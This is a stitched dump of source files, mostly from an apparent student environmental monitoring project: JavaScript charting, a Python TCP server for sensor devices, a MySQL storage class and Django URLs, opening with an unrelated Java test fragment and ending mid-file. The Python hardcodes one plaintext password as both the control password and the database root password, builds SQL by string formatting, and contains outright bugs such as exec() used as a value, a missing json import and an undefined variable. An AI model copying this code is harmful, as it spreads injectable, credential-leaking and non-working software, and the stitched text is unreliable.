import org.zeroturnaround.junit.jasmine.JasmineTestRunner; import org.zeroturnaround.rhino.RhinoContext; @RunWith(JasmineTestRunner.class) @JasmineSuite(sources = "jquery-1.6.1.js", sourcesRootDir = "src/test/javascript") public class EnvUtilsTest { @Before public void loadJasmineJQueryMatchers(RhinoContext context) { context.loadFromClasspath("js/lib/jasmine-1.3.1/jasmine-jquery-rhino.js"); } } ``` JasmineTestRunnerBeforeAndAfterTest.java ```package com.zeroturnaround.junit.jasmine; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runner.notification.RunNotifier; import org.mockito.Mock; import org.mockito.runners.MockitoJUnitRunner; import com.zeroturnaround.junit.jasmine.classes.JasmineTestRunnerBeforeAndAfterClass; import org.zeroturnaround.junit.jasmine.JasmineTestRunner; @RunWith(MockitoJUnitRunner.class) public class JasmineTestRunnerBeforeAndAfterTest { @Mock private RunNotifier notifierMock; @Test public void useJasmineRunnerOnJasmineTestRunnerBeforeAndAfterClass() { new JasmineTestRunner(JasmineTestRunnerBeforeAndAfterClass.class).run(notifierMock); } } ```
zerovip/EMS
zerovip/EMS main.js ```//!function () { var timer = null,getting = false, realTime = true; var papers = { position: [], item: [] }; var unit = {s: 1000, m: 1000*60, h: 1000*60*60, d: 1000*60*60*24}; var colors = ['#f30a0a', '#380af3', '#f30ad7', '#0af3d2', '#f3c00a', '#25f30a'] function Paper(k, j) { var this_ = this; this.type = k; this.id = j; this.wrap = newElem('div'); this.paper = Raphael(this.wrap, 500, 220); document.getElementById('graphs').appendChild(this.wrap); var h4 = newElem('h4'); h4.appendChild(newText(ctrl[k][j].nextSibling.innerHTML)); prepend(this.wrap, h4); this.paper.canvas.addEventListener('mousemove', function(e) { var x = e.offsetX || e.layerX, y = e.offsetY || e.layerY; if (x < 96 || x > 420 || y < 56 || y > 175) { this_.hideData(); } else if (this_.on) { this_.showData(x); } }); this.paper.canvas.addEventListener('mouseleave', function(e) { this_.hideData(); this_.on = 0; each(this_.curves, function (i) { this.path.attr({'stroke-width':1}); }); }); } Paper.prototype = { constructor: Paper, init: function () { this.num = 0; this.on = 0; this.paper.clear(); this.curves = []; this.paper.path(['M', 95.5, 55.5, 95.5, 175.5, 420.5, 175.5]).attr({stroke:"#C0D0E0"}); this.paper.path(['M', 95.5, 145.5, 420.5, 145.5, 'M', 95.5, 115.5, 420.5, 115.5, 'M', 95.5, 85.5, 420.5, 85.5, 'M', 95.5, 55.5, 420.5, 55.5]).attr({stroke:"#D8D8D8"}); this.dot = this.paper.circle(200.5, 50.5, 4).attr({fill: 'red', 'stroke': 'red', 'stroke-opacity': 0.3, 'stroke-width': 7}).hide(); this.text = this.paper.text(420.5, 25.5, '').attr({}).hide(); }, draw: function () { var X = [90.5, 425.5, 55.5, 460.5]; var posi = [[110.5, 15.5], [260.5, 15.5], [110.5, 35.5], [260.5, 35.5]]; if (this.type === 'position') { for (var i = 0, len = data.curves[this.id].length; i < len; i++) { var data_ = data.curves[this.id][i]; if (control.item[i]) { this.curves.push({}); var axisY = this.curves[this.num].axisY = getStepY(data_.points); this.curves[this.num].data = data_.points; var info = this.curves[this.num].info = {}; info.posi = ctrl.position[this.id].nextSibling.innerHTML; info.item = ctrl.item[i].nextSibling.innerHTML; info.unit = ctrl.item[i].getAttribute('data-unit'); for (var j = 0; j < 5; j++) { this.paper.text(X[this.num], 175.5-(j*30), axisY.start + axisY.step*j).attr({'font-size': 12, 'text-anchor': (this.num % 2) ? 'start' : 'end', 'fill': colors[this.num]}); } this.paper.circle(posi[this.num][0], posi[this.num][1], 7).attr({'fill': colors[this.num], 'stroke': 'none'}); var text = ''; text += info.item + '('+info.unit+')'; this.paper.text(posi[this.num][0]+16, posi[this.num][1], text).attr({'font-size': 12, 'text-anchor': 'start'}); this.num++; } } } else { var arr = [], axisY = {}; for (var i = 0, len = data.curves.length; i < len; i++) { var data_ = data.curves[i][this.id]; if (control.position[i]) { this.curves.push({}); this.curves[this.num].axisY = axisY; this.curves[this.num].data = data_.points; arr = arr.concat(data_.points); var info = this.curves[this.num].info = {}; info.posi = ctrl.position[i].nextSibling.innerHTML; info.item = ctrl.item[this.id].nextSibling.innerHTML; info.unit = ctrl.item[this.id].getAttribute('data-unit'); this.paper.circle(posi[this.num][0], posi[this.num][1], 7).attr({'fill': colors[this.num], 'stroke': 'none'}); var text = ''; text += info.posi; this.paper.text(posi[this.num][0]+16, posi[this.num][1], text).attr({'font-size': 12, 'text-anchor': 'start'}); this.num++; } axisY.start = getStepY(arr).start; axisY.step = getStepY(arr).step; } for (var j = 0; j < 5; j++) { this.paper.text(X[0], 175.5-(j*30), axisY.start + axisY.step*j).attr({'font-size': 12, 'text-anchor': 'end'}); } this.paper.text(70.5, 37.5, '('+info.unit+')').attr({'text-anchor': 'end'}); } this.drawAxisX(); this.drawCurves(); }, drawAxisX: function () { var labelLen, delta = data.end - data.start, t = new Date(), dt = t.getTimezoneOffset()*unit.m; if (delta <= 3*unit.h) { labelLen = 10*Math.ceil(delta/unit.h)*unit.m; } else if (delta <= unit.d) { labelLen = Math.ceil(delta/unit.h/6)*unit.h; } else if (delta <= 3*unit.d) { labelLen = 12*unit.h; } else { labelLen = Math.ceil(delta/unit.d/6)*unit.d; } for (var i = 0; i < data.step_num; i++) { t.setTime(i*data.step + data.start); if ((-dt + t.getTime())%labelLen == 0) { var text; if ((-dt + t.getTime())%unit.d == 0) { text = (t.getMonth()+1)+'-'+t.getDate(); } else { text = t.getHours()+':'+t.getMinutes(); } var x = Math.floor(98.5+320*i/data.step_num)+0.5; this.paper.text(x, 195.5, text).attr({'font-size': 12, 'text-anchor': 'middle'}); this.paper.path(['M', x, 175.5, x, 187.5]).attr({stroke:"#C0D0E0"}); } } }, drawCurves: function () { var curves = this.curves, paper_ = this; for (var i = 0, len = curves.length; i < len; i++) { var curve = curves[i], path = [], flag = 0; for (var j = 0, l = data.step_num+1; j < l; j++) { if (curve.data[j] == null) { flag = 0; } else { if (flag) { path.push(98.5+320*j/data.step_num); path.push(175.5-(curve.data[j]-curve.axisY.start)/curve.axisY.step*30); } else { flag = 1; path.push('M'); path.push(98.5+320*j/data.step_num); path.push(175.5-(curve.data[j]-curve.axisY.start)/curve.axisY.step*30); path.push('R'); } } } curve.path = this.paper.path(path).attr({stroke: colors[i]}); curve.path.data('i', i+1) curve.path.hover(function(e) { this.toFront(); paper_.on = this.data('i'); each(curves, function (i) { this.path.attr({'stroke-width':1}); }); this.attr({'stroke-width':2}); }, function () { }); } }, showData: function (x) { var j = Math.round((x-98.5)/320*data.step_num); if (j<0) j = 0; if (j>data.step_num) j = data.step_num; var i = this.on-1; var curve = this.curves[i]; if (curve.data[j] != null) { var cx = 98.5+320*j/data.step_num, cy = 175.5-(curve.data[j]-curve.axisY.start)/curve.axisY.step*30; this.dot.attr({cx: cx, cy: cy, fill: colors[i], stroke: colors[i]}).show().toFront(); var t = new Date(data.start+j*data.step); var time = PreInt(t.getMonth()+1,2)+'-'+PreInt(t.getDate(),2); if (data.step < unit.d) time += ' ' + PreInt(t.getHours(),2)+':'+PreInt(t.getMinutes(),2); if (data.step < unit.m) time += ':'+PreInt(t.getSeconds(),2); var text = time + '\n' + curve.data[j] + curve.info.unit; this.text.attr({'text': text}).show().toFront(); } }, hideData: function () { if (this.dot) { this.dot.hide(); this.text.hide(); } } }; function getStep(step) { var match = step.match(/(\d+)(\D)/); return parseFloat(match[1]) * unit[match[2]]; } function getStepY(arr) { var max = 0, min = 0; var result = {start: 0, step: 1}; for (var i = 0, len = arr.length; i < len; i++) { if (arr[i] > max) max = arr[i]; if (arr[i] < min) min = arr[i]; } max = max*1.1, min = min*1.1; if (max == 0 && min == 0) { return result; } var delta = max-min, step = delta/4, stepStr = step.toString().split('.'), pow; if (stepStr[0] !== '0') { pow = stepStr[0].length - 1; result.step = (Math.floor(step/Math.pow(10, pow))+1)*Math.pow(10, pow); } else if (stepStr[1]) { pow = -(stepStr[1].match(/^0*/)[0].length + 1); result.step = (Math.floor(step/Math.pow(10, pow))+1)*Math.pow(10, pow); } if (min != 0) { result.start = Math.floor(min/result.step*10)*result.step/10; } return result; } Paper.init = function () { Paper.each(function(k, j) { papers[k][j] = new Paper(k, j); if (k === 'position') { data.curves[j] = []; } else { for (var i = 0, len = data.curves.length; i < len; i++) { data.curves[i].push({start: 0, end: 0, points: []}); } } }); Paper.changeState(); $.ajax({ url: '/emsys/ajax/', data: {}, dataType: 'json', success: function(json) { data.setTime(json); Paper.show(); addEvent(ctrl.panel, 'change', function () { Paper.changeState(); Paper.show(); }); timer = setInterval(Paper.refresh, data.step); $('#realtime').click(Paper.realTime); $('#choosetime').click(Paper.chooseTime); } }); }; Paper.each = function (fn) { for (var i = 0; i < 2; i++) { var k = ['position', 'item'][i]; for (var j = 0, len = ctrl[k].length; j < len; j++) { if (papers[k] && papers[k][j]) { fn.call(papers[k][j], k, j); } else { fn(k, j); } } } }; Paper.changeState = function () { control.type = ctrl.radios[1].checked ? 'item' : 'position'; Paper.each(function (k, j) { control[k][j] = ctrl[k][j].checked; }); }; Paper.show = function () { Paper.each(function (k, j) { if (k !== control.type || !control[k][j]) { this.wrap.style.display = 'none'; } else { this.init(); this.draw(); this.wrap.style.display = 'block'; } }); }; Paper.refresh = function () { if (getting) return; getting = true; var t = getTimeF(new Date(data.end+data.step)); $.ajax({ url: '/emsys/ajax/', data: { start: t }, dataType: 'json', success: function (json) { getting = false; if (!realTime) return; var len = json[ctrl.position[0].value+''+ctrl.item[0].value].length; data.start += len*data.step; data.end += len*data.step; for (var k = 0; k < len; k++) { for (var i = 0; i < data.curves.length; i++) { for (var j = 0; j < data.curves[i].length; j++) { data.curves[i][j].points.shift(); data.curves[i][j].points.push(json[ctrl.position[0].value+''+ctrl.item[0].value][k]); } } } Paper.show(); }, error: function () { getting = false; } }); }; Paper.realTime = function () { if (realTime || getting) return; realTime = true; Paper.each(function(){ this.init(); }); $.ajax({ url: '/emsys/ajax/', data: {}, dataType: 'json', success: function(json) { if (!realTime) return; $('#realtime').addClass('on'); data.setTime(json); Paper.show(); clearInterval(timer); timer = setInterval(Paper.refresh, data.step); }, error: function () { location.reload(); } }); }; Paper.chooseTime = function () { realTime = false; clearInterval(timer); var fla = $('.flatpickr'); var t1 = new Date(fla.eq(0).val()); var t2 = new Date(fla.eq(1).val()); if(t1-t2>0) { ChTime[0].setDate(t2); ChTime[1].setDate(t1); } Paper.each(function(){ this.init(); }); $.ajax({ url: '/emsys/ajax/', data: { start: fla.eq(0).val(), end: fla.eq(1).val() }, dataType: 'json', success: function(json) { if (realTime) return; $('#realtime').removeClass('on'); ChTime[0].setDate(json.start); ChTime[1].setDate(json.end); data.setTime(json); Paper.show(); }, error: function () { location.reload(); } }); } var control = { type: 0, position: [], item: [] }; var ctrl = { panel: document.getElementById('control-panel'), radios: document.getElementsByName('groupby'), position: document.getElementsByName('position'), item: document.getElementsByName('item') }; var data = { start: 0, end: 0, step: 0, step_num: 0, curves: [] }; data.setTime = function (d) { data.start = new Date(d.start).getTime(), data.end = new Date(d.end).getTime(); data.step = getStep(d.step); data.step_num = (data.end-data.start)/data.step; for (var i = 0; i < data.curves.length; i++) { for (var j = 0; j < data.curves[i].length; j++) { data.curves[i][j].points = d[ctrl.position[i].value+''+ctrl.item[j].value]; } } } Paper.init(); //}();``` README.md ```# EMS Environmental Monitoring System for a competition ``` tcp(second).py ```import time import socket import threading from data_db import Data_db from .email_SMTP import send_mail ####################################################################################################################################### #TCP服务器部分重写,用了多线程。 ####################################################################################################################################### HOST = '' PORT = 7790 BUFSIZ = 1024 ADDR = (HOST, PORT) password = 'lizihe970106' # 接收单片机客户端数据并反馈的函数(替代之前的 SocketServer 部分) def handle_data(sock, dev_id): while True: try: data = sock.recv(BUFSIZ) except ConnectionResetError: # 客户端因为故障等被强迫下线 del linking_dev[dev_id] break if time.strftime('%H:%M', time.localtime()) == '00:02': d = Data_db() ret_code = data_save(d, data) print(ret_code) sock.send(ret_code.encode()) # 接收控制器客户端得指令 def handle_cont(sock): while True: try: data = sock.recv(BUFSIZ) except ConnectionResetError: del linking_dev['control'] break if data.decode()[:7] == 'ADDANID': prepare.append(int(data.decode()[7:])) sock.send('成功'.encode) elif data.decode()[:4] == 'STOP': id = int(data.decode()[4:]) linking_dev[id].send('\r\nstop\r\n'.encode()) sock.send('成功'.encode) elif data.decode()[:5] == 'START': id = int(data.decode()[5:]) linking_dev[id].send('\r\nstat\r\n'.encode()) sock.send('成功'.encode) elif data.decode() == 'exit': sock.send('退出'.encode) sock.close() break tcpServerSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcpServerSocket.bind(ADDR) tcpServerSocket.listen(5) linking_dev = {} prepare = [] '''服务器端主体部分: 单片机在第一次连接后会确认身份,在此过程中出现问题会关闭连接,以免堵塞其他首次请求。 单片机可以根据返回的错误信息适当调整后再次请求连接, 身份确认通过后,服务器会发ok回去,此时才会单开一个线程供单片机使用。 在此线程中,服务器接收请求并作出回应。 控制器是用来控制单片机的客户端类型,首次连接时需确认身份。 身份确认格式为:‘con’+密码,格式正确且密码正确才会单开一个线程给控制器, 控制器可以接收到 '允许控制' 作为信号。 密码错误则直接关闭连接并在命令行内打印提醒注意。 可以操作的控制有: 指令:'ADDANID'+一设备ID 在设备添加完成后调用 要求添加设备时先在网页上添加设备, 然后新加的设备迅速连接服务器并发 DEVMYNUM 方可配对成功 指令:'STOP'+一设备ID 指令:'START'+一设备ID 再有控制单片机的需求直接重写 handle_cont 函数即可。 ''' while True: print('--------等待连接--------') tcpCliSocket, addr = tcpServerSocket.accept() print('--------与{0}建立了连接--------'.format(addr)) try: check_data = tcpCliSocket.recv(BUFSIZ) except ConnectionResetError: print('--------该连接被迫下线--------') # 这条信息为区分单片机客户端与控制器客户端所用 if (check_data[0] == 10) & (check_data[1] == 13) & (data[-2] == 13)& (data[-1] == 10): if len(check_data) == 12: ask_data = (check_data[2:10]).decode() if ask_data == 'DEVMYNUM': # 新设备 if len(prepare) != 0: the_id = prepare[0] if the_id in linking_dev: # 应该不会出现。出现说明 prepare 列表出现了错误 print('出现了问题,请检查 prepare 不应该有已经分配出去的ID') linking_dev[the_id] = tcpCliSocket del prepare[0] tcpCliSocket.send('ok{0}'.format(the_id).encode()) data_rev = threading.Thread(target=handle_data, args=(tcpCliSocket, the_id)) data_rev.start() else: # 先去添加设备页添加设备再操作 tcpCliSocket.send('err1'.encode()) tcpCliSocket.close() elif ask_data[0:6] == 'DEVNUM': # 原有设备 the_dev_id = int(ask_data[6:8]) if the_dev_id in linking_dev: # 之前得连接没有正确关闭 print('之前得连接没有正确关闭,之前的端口是:') print(linking_dev[the_dev_id].getpeername()) linking_dev[the_dev_id].close() linking_dev[the_dev_id] = tcpCliSocket tcpCliSocket.send('ok{0}'.format(the_dev_id).encode()) data_rev = threading.Thread(target=handle_data, args=(tcpCliSocket, the_dev_id)) data_rev.start() else: # 数据格式不正确 tcpCliSocket.send('err2'.encode()) tcpCliSocket.close() else: # 数据长度有误 tcpCliSocket.send('err3'.encode()) tcpCliSocket.close() else: # 有可能是控制器客户端 if check_data[:3] == 'con': # 就是控制器客户端 if check_data[3:] == password: # 密码正确,允许控制 if 'control' in linking_dev: linking_dev['control'].close() del linking_dev['control'] tcpCliSocket.send('允许控制'.encode()) linking_dev['control'] = tcpCliSocket con_thread = threading.Thread(target=handle_cont, args=(tcpCliSocket,)) con_thread.start() else: # 密码错误 print('--------有控制器试图连接,因密码错误被拒绝。请关注。--------') print('--------地址与端口是:{0}--------'.format(tcpCliSocket.getpeername())) tcpCliSocket.close() else: # 是单片机客户端,且数据开头和结尾不符规定 tcpCliSocket.send('err4'.encode()) tcpCliSocket.close() tcpServerSocket.close() ####################################################################################################################################### #下位机数据含义解析模块,根据通讯规则制定 ####################################################################################################################################### #数据写入 def data_write(d, dev_id, date_n_time, data_list): for index, data in enumerate(data_list): time_flo = time.mktime(time.strptime(date_n_time, '%Y-%m-%d %H:%M'))+60*index time_rec = time.strftime('%Y%m%d %H:%M', time.localtime(time_flo)) tem_ori = 10*(data[0]//16)+(data[0]%16)+0.1*(data[1]//16)+0.01*(data[1]%16) if tem_ori > 80: tem = tem_ori-100 else: tem = tem_ori hum = 10*(data[2]//16)+(data[2]%16)+0.1*(data[3]//16)+0.01*(data[3]%16) pm25 = 1000*(data[4]//16)+100*(data[4]%16)+10*(data[5]//16)+(data[5]%16) pm10 = 1000*(data[6]//16)+100*(data[6]%16)+10*(data[7]//16)+(data[7]%16) print(time_rec) print(dev_id) print(tem,hum,pm25,pm10) file_save = open("./emsys/mail.zero", "r") file_data = json.load(file_save) file_save.close() for i in ['tem', 'hum', 'pm25', 'pm10']: if (exec(i) > file_data[i+'_x']) or (exec(i) < file_data[i+'_n'): p_l = [] p_l.append(file_data[i+'_e']) send_mail(p_l, '环境监测系统警报提醒', i+'超标,请您查看。——邮件为自动发送,请勿回复。') try: d.write_in( [time_rec, str(dev_id)], [str(tem), str(hum), str(pm25), str(pm10)], ) except: # 调用 Data_db 写入接口出现问题 return 'write error' else: # 成功 return 'okwrite SUC' #数据接收保存 def data_save(d, data): total = len(data) print(("total length is %d") %(total)) #判断起始位和结束位 if(total==1): return 'E0' elif (data[0] == 13) & (data[1] == 10) & (data[-2] == 13) & (data[-1] == 10): dev_id = (data[2]//16)*10+(data[2]%16) date_n_time = '{0}{1}{2}{3}-{4}{5}-{6}{7} {8}{9}:{10}{11}'.format( data[3]//16, data[3]%16, data[4]//16, data[4]%16, data[5]//16, data[5]%16, data[6]//16, data[6]%16, data[7]//16, data[7]%16, data[8]//16, data[8]%16, ) #如果只有一个数据(data[3]高八位和低八位表示数据) if total == 20: data_to_save = [data[10:18],] elif (total-12)%8 == 0: if (total-12)/8 == 10*(data[9]//16)+(data[9]%16): data_to_save = [] for i in range((total-12)/8): data_to_save.append(data[8*i+10:8*i+18]) else: # 显示的应该包含的数据数与实际接收到的数据数不符 return 'F2' else: # 接收到的数据量既不是一个数据也不是多个数据 return 'F1' print(dev_id) print(date_n_time) print(data_to_save) m = data_write(d, dev_id, date_n_time, data_to_save) return m #下位机特殊请求 elif(data[0] == 10)&(data[1] == 13) & (data[-2] == 13)& (data[-1] == 10): print(data[2],data[3],total) #请求时间 if(data[2] == 87) & (data[3] == 84) & (total==6): time_str = time.strftime("%Y%m%d%H%M%S",time.localtime()) return '\r\nWT' + time_str + '\r\n' else: return 'F3' else: # 不是以回车换行开头结尾,为干扰数据,直接丢弃。 return 'F0' ``` base.js ```if (!Array.prototype.indexOf) { Array.prototype.indexOf = function (item) { for (var i = 0, len = this.length; i < len; i++) { if (this[i] === item) return i; } return -1; } } function addEvent( obj, ev, fn, bool ) { if ( obj.addEventListener ) { obj.addEventListener( ev, fn, bool ); } else if (obj.attachEvent) { if (!addEvent.fns) { addEvent.fns = []; addEvent.newfns = []; } var newfn = function(){fn.call(obj)}; addEvent.fns.push(fn); addEvent.newfns.push(newfn); obj.attachEvent( 'on'+ev, newfn ); } } function removeEvent( obj, ev, fn, bool ) { if ( obj.addEventListener ) { obj.removeEventListener( ev, fn, bool ); } else if (obj.attachEvent) { var index = addEvent.fns.indexOf(fn); if (index > -1) { obj.detachEvent( 'on'+ev, addEvent.newfns[index] ); addEvent.fns.splice(index, 1); addEvent.newfns.splice(index, 1); } } } function prepend(parent, child) { if (parent.childNodes.length) { parent.insertBefore(child, parent.firstChild); } else { parent.appendChild(child); } } function newElem(tag) { return document.createElement(tag); } function newText(str) { return document.createTextNode(str); } function each(arr, fn) { var len = arr.length, i = 0; for (; i < len; i++) { fn.call(arr[i], i); } } /* PrefixInteger */ function PreInt(num, n) { return (Array(n).join(0) + num).slice(-n); } function getTimeF(date) { var y = date.getFullYear(), m = PreInt(date.getMonth()+1,2), d = PreInt(date.getDate(),2), h = PreInt(date.getHours(),2), min = PreInt(date.getMinutes(),2), s = PreInt(date.getSeconds(),2); return y+'-'+m+'-'+d+' '+h+':'+min+':'+s; }``` data_db.py ```import time import pymysql # 请先根据数据库配置更改此处并预先建立名称为 "emsys" 数据库。 host = "localhost" user = "root" password = "lizihe970106" #定义自己的数据库 class Data_db: '''每天实例化一次,添加设备后实例化一次。使用实例化后的对象实现写入与读出数据。 写入数据方法: Data_db.write_in(msg, data) msg(list) = [time, dev] time(str) 数据时间 示例:'20161010 00:00' dev(int) 设备id data(list) = [tem, hum, pm25, pm10] 无返回值 读取数据方法: Data_db.read_out(choose, start, end) choose(list) = [dev'n'item_1, dev'n'item_2] dev'n'item(str) 设备号与数据项目 示例:'12' 设备1的PM2.5 对应关系:0-温度 1-湿度 2-PM2.5 3-PM10 start(str) 开始时间 示例:'20161010 00:00' end(str) 截止时间 示例:'20161010 00:00' 为空则取当前时间为默认值 return data(dic) 数据字典 键遍历 choose 中每一项,值为相应时间范围内数据 示例: { '00':[10.10, 10.20, 10.30, 10.40, 10.50], '23':[1111, 2222, 3333, 'null', 5555], } ''' def __init__(self): '初始化时获取所有设备并建表。' db = pymysql.connect( host = host, user = user, password = password, db = "ems_data", charset ='utf8', cursorclass = pymysql.cursors.DictCursor, ) cursor = db.cursor() sql = "SELECT id, name FROM emsys_device" cursor.execute(sql) result = cursor.fetchall() self.results = {} for i in result: self.results[i['id']] = i['name'] db.close() db = pymysql.connect( host = host, user = user, password = password, db = "emsys", charset ='utf8', cursorclass = pymysql.cursors.DictCursor, ) cursor = db.cursor() today = time.strftime("%Y%m%d", time.localtime()) for device in self.results: sql = """CREATE TABLE {0}_{1}_{2} ( time CHAR(6), tem CHAR(6), hum CHAR(6), pm25 CHAR(6), pm10 CHAR(6) )""".format(device, self.results[device], today) try: cursor.execute(sql) except pymysql.err.InternalError: pass db.close() def write_in(self, msg, data): '''写入模块。 msg是一个列表[time, dev]: time格式为"20161010 00:00"; dev是一个数字。 data是一个列表[tem, hum, pm25, pm10]。 !!注意!! 如果发过来的时间在数据库中已经存在,则会重复写入该记录。 ''' db = pymysql.connect( host = host, user = user, password = password, db = "emsys", charset ='utf8', cursorclass = pymysql.cursors.DictCursor, ) cursor = db.cursor() sql = """INSERT INTO {0}_{1}_{2} ( time, tem, hum, pm25, pm10) VALUES ('{3}', '{4}', '{5}', '{6}', '{7}')""".format( msg[1], self.results[int(msg[1])], msg[0][:8], msg[0][9:], data[0], data[1], data[2], data[3], ) try: cursor.execute(sql) except pymysql.err.ProgrammingError: # 做应急使用,包括但不限于: # 两天相交处; # 发来的数据是未来日期的。 # 但不要因此而永远只用一个实例对象, # 两天相交处以及添加设备后应重新实例化一个对象出来用。 create_table = """CREATE TABLE {0}_{1}_{2} ( time CHAR(6), tem CHAR(6), hum CHAR(6), pm25 CHAR(6), pm10 CHAR(6) )""".format(msg[1], self.results[int(msg[1])], msg[0][:8]) cursor.execute(create_table) cursor.execute(sql) db.commit() db.close() def read_out(self, choose, start, end='null'): '''根据豆豆给我的前端数据请求格式写成。 start 和 end 分别是起止时间。 choose是一个列表,格式如下: 示例:['00','01','11'] 前一位代表设备id,后一位代表项目(0-温度,1-湿度,2-PM2.5,3-PM10) 返回值是一个字典,键为choose中的每一项,值为一个列表 { '00':[10,20,30,40,], '01':[10,20,30,40,], '11':[10,20,30,40,], } !!注意!! 1.如果查询某一设备某一大段时间的所有数据, 请直接用 pymysql 模块读取数据库, 该方法为前端做折线图所专用, 破坏了原本的数据格式, 除非需要某个项目的数据, 其他情况不要试图用此方法获取数据; 2.如果在记录中同一时间数据出现多条, 默认选取第一条,即最先被记录的数据, 如需要通过比较删除其他数据, 可以参考本方法中 SELECT 之后的 len 方法获取。 ''' if end == 'null': end = time.strftime("%Y%m%d %H:%M", time.localtime()) start_ = time.mktime(time.strptime(start,'%Y%m%d %H:%M')) end_ = time.mktime(time.strptime(end,'%Y%m%d %H:%M')) time_range = [] while start_ != end_+60: x = time.localtime(start_) time_range.append(time.strftime('%Y%m%d %H:%M', x)) start_ += 60 return_data = {} db = pymysql.connect( host = host, user = user, password = password, db = "emsys", charset ='utf8', cursorclass = pymysql.cursors.DictCursor, ) cursor = db.cursor() for item in choose: item_data = [] it_id = int(item[0]) it_need = int(item[1]) need_dic = {0:'tem', 1:'hum', 2:'pm25', 3:'pm10',} for time_it in time_range: sql = "SELECT tem, hum, pm25, pm10 FROM {0}_{1}_{2} WHERE time = '{3}'".format( it_id, self.results[it_id], time_it[:8], time_it[9:], ) try: cursor.execute(sql) data_get = cursor.fetchall() if len(data_get) != 0: item_data.append(data_get[0][need_dic[it_need]]) else: item_data.append('null') except pymysql.err.ProgrammingError: item_data.append('null') return_data[item] = item_data db.close() return return_data ``` 数据格式.js ```// 请求格式 json = { // 请求数据从何时开始 // 假如现在是5:13, start为5:10, 则返回4个点的数据(5:10, 5:11, 5:12, 5:13) // 第一次请求省略该参数, 表示获取半个小时的数据(31个点) "start": "2016-10-02 18:36", // 请求数据的最后时间 // 如果不写默认一直到最近一分钟 "end": "2016-10-02 18:36", // 如果仅请求某些曲线上的数据, 则需要choose参数, 否则省略该参数 // 请求多条曲线用"/"隔开 // 12代表地点1, 项目2(即PM2.5) "choose": "00/12/22/23" }; // 示例 // 请求格式: 第一次请求 json = { //初始请求什么参数也不用 }; // 返回格式: 第一次请求 json = { "start": "2016-10-02 18:05", "end": "2016-10-02 18:35", "msg": "OK", "wait": 20, // 20秒后进行下次数据获取 // 以下 12代表地点1, 项目2(即PM2.5) "00": [25,26,28,21,25,28,31,27,24,30,33,28,21,25,26,22,28,29,31,30,28,32,25,26,23,28,24,26,19,18,21], "01": [40,68,32,64,48,33,55,46,67,44,66,51,54,68,44,40,53,49,69,35,57,57,43,39,44,37,52,56,49,69,42], "02": [20,46,35,44,23,26,34,28,51,29,30,31,44,16,39,26,27,51,25,25,38,48,39,26,46,39,36,48,20,21,15], "03": [48,67,58,53,31,67,49,73,50,52,75,50,65,66,51,45,40,44,51,65,62,46,52,37,58,57,58,60,63,50,55], "10": [28,23,21,26,21,31,20,25,28,23,26,32,27,27,21,21,19,31,29,26,32,27,19,20,21,32,23,32,24,null,null], //如果单片机断网导致数据缺失, 填充null "11": [48,60,70,46,68,68,53,70,68,54,70,68,50,53,61,42,47,33,61,35,53,55,38,61,67,68,47,53,68,null,null], "12": [34,23,16,31,18,18,46,20,42,36,24,19,22,27,39,36,16,14,44,26,14,32,51,50,50,22,47,23,28,null,null], "13": [55,62,48,59,73,53,41,28,67,33,44,63,66,41,48,28,46,57,65,55,42,66,26,59,76,33,42,27,70,null,null], "20": [20,28,20,20,31,19,27,21,18,23,25,31,19,26,22,20,29,31,30,21,27,31,20,25,18,20,19,22,27,19,20], "21": [52,60,59,56,34,36,60,32,41,48,63,42,35,55,34,65,43,35,41,37,46,46,35,44,42,69,52,60,53,68,50], "22": [32,33,19,24,28,23,22,35,32,36,30,18,23,39,30,38,28,40,27,31,23,35,38,27,30,39,36,16,20,25,25], "23": [56,36,36,50,37,72,74,68,49,29,54,53,58,55,70,52,77,28,64,50,57,69,69,33,29,67,58,57,76,50,65] }; // 请求格式: 返回最近的一分钟 json = { "start": "2016-10-02 18:36", // end参数可省略 "end": "2016-10-02 18:36", }; // 返回格式: 返回最近的一分钟 json = { "start": "2016-10-02 18:36", "end": "2016-10-02 18:36", // OK: 正常; // wait: 请求的时间太早(需同时返回wait参数, 等0~60秒后再请求); // early: 请求了未来的时间(比如start为10分钟后); // late: 请求的时间太晚(比如start为10天前); "msg": "OK", "00": [28], "01": [53], "02": [44], "03": [70], "10": [22], "11": [62], "12": [29], "13": [45], "20": [27], "21": [57], "22": [25], "23": [35] }; // 请求格式: 返回某些曲线上的点(比如填补之前因单片机断网未能获取的数据) json = { "start": "2016-10-02 18:34", // end参数可省略 "end": "2016-10-02 18:36", "choose": "00/01/02" }; // 返回格式: 返回某些曲线上的点 json = { "start": "2016-10-02 18:34", "end": "2016-10-02 18:36", "msg": "OK", "00": [28,33,25], "01": [53,61,50], "02": [44,32,37] };``` urls.py ```from django.conf.urls import url from .import views #url(r'^view/(?P<article_id>[0-9]+)/$',views.view,name='view'), urlpatterns=[ url(r'^$', views.index, name='index'), url(r'^login/$', views.login, name='login'), url(r'^logout/$', views.logout, name='logout'), url(r'^dev/add/$', views.dev_add, name='dev_add'), url(r'^dev/edit/(?P<id>[0-9]+)/$', views.dev_edit, name='dev_edit'), url(r'^dev/control/$', views.dev_control, name='dev_control'), url(r'^dev/del/(?P<id>[0-9]+)/$', views.dev_del, name='dev_del'), url(r'^usergroup/add/$', views.usgp_add, name='usgp_add'), url(r'^usergroup/edit/(?P<id>[0-9]+)/$', views.usgp_edit, name='usgp_edit'), url(r'^usergroup/del/(?P<id>[0-9]+)/$', views.usgp_del, name='usgp_del'), url(r'^user/add/(?P<id>[0-9]+)/$', views.user_add, name='user_add'), url(r'^user/edit/(?P<id>[0-9]+)/$', views.user_edit, name='user_edit'), url(r'^user/del/(?P<id>[0-9]+)/$', views.user_del, name='user_del'), url(r'^user/self/$', views.self, name='self'), url(r'^data/history/(?P<id>.*)/$', views.data_history, name='data_history'), url(r'^data/history/$', views.data_history, name='data_history'), url(r'^data/warning/$', views.data_warning, name='data_warning'), url(r'^data/control/(?P<action>.*)/$', views.data_control, name='data_control'), url(r'^api/$',views.api,name='api'), url(r'^ajax/$',views.ajax,name='ajax') ] ``` tcp(before).py ```import time from socketserver import TCPServer, StreamRequestHandler, ForkingMixIn from data_db import Data_db ####################################################################################################################################### #下位机数据含义解析模块,根据通讯规则制定 ####################################################################################################################################### #数据写入 def data_write(d, dev_id, date_n_time, data_list): for index, data in enumerate(data_list): time_flo = time.mktime(time.strptime(date_n_time, '%Y-%m-%d %H:%M'))+60*index time_rec = time.strftime('%Y-%m-%d %H:%M', time.localtime(time_flo)) tem_ori = 